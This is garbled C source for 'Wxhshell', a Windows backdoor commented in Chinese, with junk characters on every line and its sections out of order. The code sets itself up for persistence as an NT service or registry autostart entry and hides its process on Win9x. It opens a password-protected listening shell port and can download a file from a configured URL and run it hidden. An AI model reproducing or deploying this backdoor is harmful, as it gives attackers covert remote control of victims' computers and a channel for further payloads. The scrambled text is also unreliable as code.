ULONG InheritedFromUniqueProcessId; h@fF`
} PROCESS_BASIC_INFORMATION; dWiX_&g
X9;51JV
PROCNTQSIP NtQueryInformationProcess; PLRMW2
o<Qt<*
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; F[*/D/y(
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; UeU`U
Ww=b{lUD
HANDLE hProcess; i!yE#zew
PROCESS_BASIC_INFORMATION pbi; @|<qTci
>J/8lS{#
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); L u1pxL
if(NULL == hInst ) return 0; 2*a5pFkb
gjn1ha"h%.
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 5IfC8drAs
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ~ nb1c:F
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); q_Z6s5O
=Y5_@}\0
if (!NtQueryInformationProcess) return 0; Nf%/)Tk
;),vUu,k
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); >DR$}{IV
if(!hProcess) return 0; u,./,:O%=
^9 ^DA!'
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; t]E@AJOK
#'BPW<Ob
CloseHandle(hProcess); +h8`8k'}-2
#]r'?GN
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 4@QR2K|
if(hProcess==NULL) return 0; KpT=twcK
}#6~/
W
HMODULE hMod; )j. .)o
char procName[255]; !V-(K_\t
unsigned long cbNeeded; (Ta (Y=!uq
gv,1 CK
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); pO)5NbU
1vdG\$
CloseHandle(hProcess); KBa0
a#a n+JY3
if(strstr(procName,"services")) return 1; // 以服务启动 B7PdavO#
q4Mv2SPT
return 0; // 注册表启动 i5gNk)D
} O=oIkvg
OoQLR
// 主模块 OR}+)n{
int StartWxhshell(LPSTR lpCmdLine) yB|1?L#
{ xqfIm%9i}
SOCKET wsl; #I\" 'n5M
BOOL val=TRUE; 6zI}?KZf
int port=0; xNjWo*y v
struct sockaddr_in door; +'wO:E1( w
R{pF IyR
if(wscfg.ws_autoins) Install(); @hy~H?XN
/0Mt-8[
port=atoi(lpCmdLine); ;9LOeH?
:*s@L2D6
if(port<=0) port=wscfg.ws_port; je%D&ci$
]n3!%0]\
WSADATA data; a'A<'(yv
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; fk!9` p'
Hp@Q
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ';v1AX}5q
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ]CPF7Hf
door.sin_family = AF_INET; |
^G38
door.sin_addr.s_addr = inet_addr("127.0.0.1"); $hMD6<e
door.sin_port = htons(port); :(@P
*"j
LqNyi
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) {
F@mxd
closesocket(wsl); -hc8IS
return 1; "Q{l])N
} 8H|ac[hXK2
9ENI%Jz
if(listen(wsl,2) == INVALID_SOCKET) { <@Vf:`a!P>
closesocket(wsl); _07$TC1
return 1; pC #LQ
} _EJP I
Wxhshell(wsl); x=+>J$~Pb
WSACleanup(); (L yK o
vPc*x5w-
return 0; t#3_M=L
#sxv?r
} [P6m8%Y|s
DEbMb6)U
// 以NT服务方式启动 w)B?j
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) <fF|AbC:
{ -y{(h%6
DWORD status = 0; r-yUWIr
S
DWORD specificError = 0xfffffff; bE{YK
b%vIaP|]B
serviceStatus.dwServiceType = SERVICE_WIN32; -/V(Z+dj
serviceStatus.dwCurrentState = SERVICE_START_PENDING; 53gLz_ee
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; v$w}UC%uf
serviceStatus.dwWin32ExitCode = 0; 3
^K#\*P
serviceStatus.dwServiceSpecificExitCode = 0; 1z-A3a/-
serviceStatus.dwCheckPoint = 0; ;Rpib[m
serviceStatus.dwWaitHint = 0; &GkD5b
j--byk6PB
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 841 y"@*BY
if (hServiceStatusHandle==0) return; :~#)Xa0I
iy_Y!wZ{
status = GetLastError(); &1R#!|h1W
if (status!=NO_ERROR) gPb.%^p
{ 0zkMRBe
serviceStatus.dwCurrentState = SERVICE_STOPPED; .a7RGT3]m
serviceStatus.dwCheckPoint = 0; =B5{ 7g\
serviceStatus.dwWaitHint = 0; vSC1n8 /
serviceStatus.dwWin32ExitCode = status; !|UX4
serviceStatus.dwServiceSpecificExitCode = specificError; o-7{\%+M
SetServiceStatus(hServiceStatusHandle, &serviceStatus); k sXQ}BE
return; Tjq1[Wq
} *OznZIn
oBo*<6
serviceStatus.dwCurrentState = SERVICE_RUNNING; 0<a|=kZ
serviceStatus.dwCheckPoint = 0; AvB=/p@]
serviceStatus.dwWaitHint = 0; AU}kIm_+
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); [l3\0e6-/
} 7 QNx*8 p
6]~/`6Dub
// 处理NT服务事件,比如:启动、停止 XsQ81j.
VOID WINAPI NTServiceHandler(DWORD fdwControl) l`ZL^uT
{ l nHY?y7{
switch(fdwControl) -0#"<!N
{ eZqEFMBTm
case SERVICE_CONTROL_STOP: /51$o\4S
serviceStatus.dwWin32ExitCode = 0; $qz{L~ <
serviceStatus.dwCurrentState = SERVICE_STOPPED; Z4Dx:m-
serviceStatus.dwCheckPoint = 0; 'z
AvQm
serviceStatus.dwWaitHint = 0; G)%V 3h
{ UMe?nAC
SetServiceStatus(hServiceStatusHandle, &serviceStatus); R6od{#5H$
} $"W[e"Q
return; 6qFzo1LO
case SERVICE_CONTROL_PAUSE: 8wvHg_U6W
serviceStatus.dwCurrentState = SERVICE_PAUSED; Pz{MYw
break; kY\faWuR
case SERVICE_CONTROL_CONTINUE: 7PMz6
serviceStatus.dwCurrentState = SERVICE_RUNNING; (ct1i>g
break; 5z,q~CU
case SERVICE_CONTROL_INTERROGATE: c-(RjQ~M5
break; AXHY$f|
}; H=C~h\me?
SetServiceStatus(hServiceStatusHandle, &serviceStatus); :rQDA=Ps
} gfj_]
`e<IO_cg
// 标准应用程序主函数 tj~r>SRb+
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Y4 z
{ ~*/ >8R(Y
<b,WxR`
// 获取操作系统版本 v4s4D1}
OsIsNt=GetOsVer(); xOKJOl
GetModuleFileName(NULL,ExeFile,MAX_PATH);
94PI
]pBEoktp
// 从命令行安装 s(3u\#P
if(strpbrk(lpCmdLine,"iI")) Install(); \O"H#gt
1[O cZCS
// 下载执行文件 U<0Wa>3zj
if(wscfg.ws_downexe) { W7WHDL^
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) %C,zR&]F
WinExec(wscfg.ws_filenam,SW_HIDE); Z40k>t
D
} Nmz5:Rq
&?bsBqpN
if(!OsIsNt) { r+ 8Tp|%
// 如果时win9x,隐藏进程并且设置为注册表启动 ;X+tCkzF
HideProc(); i
/[{xRXiR
StartWxhshell(lpCmdLine); `oikSx$vB.
} 0vfMJzk
else {U_ ,y(V
if(StartFromService()) $7Hwu^c(
// 以服务方式启动 1q!k#Cliu
StartServiceCtrlDispatcher(DispatchTable); j1g$LAe
else w:%NEa,Z
// 普通方式启动 z_xy*Iif
StartWxhshell(lpCmdLine); ,c`6-
drjNK!XL@
return 0; rhPv{6Z|7
} ZrEou}z(*
Q"
h]p
IrCl\HQN
]lfufjj
=========================================== i=n;rT
jW8ad{
N7"cMAs\G
[C4{C4TX
!O!:=wq
VO:
" E]~#EFc
`Z>=5:+G@2
#include <stdio.h> h='&^1
#include <string.h> ?SYmsaSr5
#include <windows.h> SHPDbBS
#include <winsock2.h> K{I "2c
#include <winsvc.h> vqT)=ZC1
#include <urlmon.h> ^^ix4[1$Z
OjffN'a+N
#pragma comment (lib, "Ws2_32.lib") /!Ag/SmS!9
#pragma comment (lib, "urlmon.lib") 4>d]0=x
Xmmj.ZUr
#define MAX_USER 100 // 最大客户端连接数 6bj77CoB
#define BUF_SOCK 200 // sock buffer \bF<f02P
#define KEY_BUFF 255 // 输入 buffer :dipk,b?n
cy6YajOk7
#define REBOOT 0 // 重启 =jm\8sl~~
#define SHUTDOWN 1 // 关机 s~(`~Y4
/&czaAR-
#define DEF_PORT 5000 // 监听端口 >-3>Rjo>
8B!QqLqK
#define REG_LEN 16 // 注册表键长度 9`^(M^|c
#define SVC_LEN 80 // NT服务名长度 "So"oT1
aN,?a@B
// 从dll定义API Gv#bd05X
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); OP=-fX|*Q
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Q$k#q<+0
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); GZuWAa
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); >b:5&s\9
*L Y6hph"
// wxhshell配置信息 tef>Py
struct WSCFG { 7>0/$i#'Vl
int ws_port; // 监听端口 s bR*[2
char ws_passstr[REG_LEN]; // 口令 sint":1FC
int ws_autoins; // 安装标记, 1=yes 0=no NMC0y|G
char ws_regname[REG_LEN]; // 注册表键名 6rCUq
char ws_svcname[REG_LEN]; // 服务名 YuJ{@"H
char ws_svcdisp[SVC_LEN]; // 服务显示名 c@nh>G:y{&
char ws_svcdesc[SVC_LEN]; // 服务描述信息 0pH$MkQ
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ,":_CY4(
int ws_downexe; // 下载执行标记, 1=yes 0=no Z>X]'q03
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" O@dK^o
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Tks1gN^^
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}; lh XD9ed
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// default Wxhshell configuration 7xWJw
struct WSCFG wscfg={DEF_PORT, &t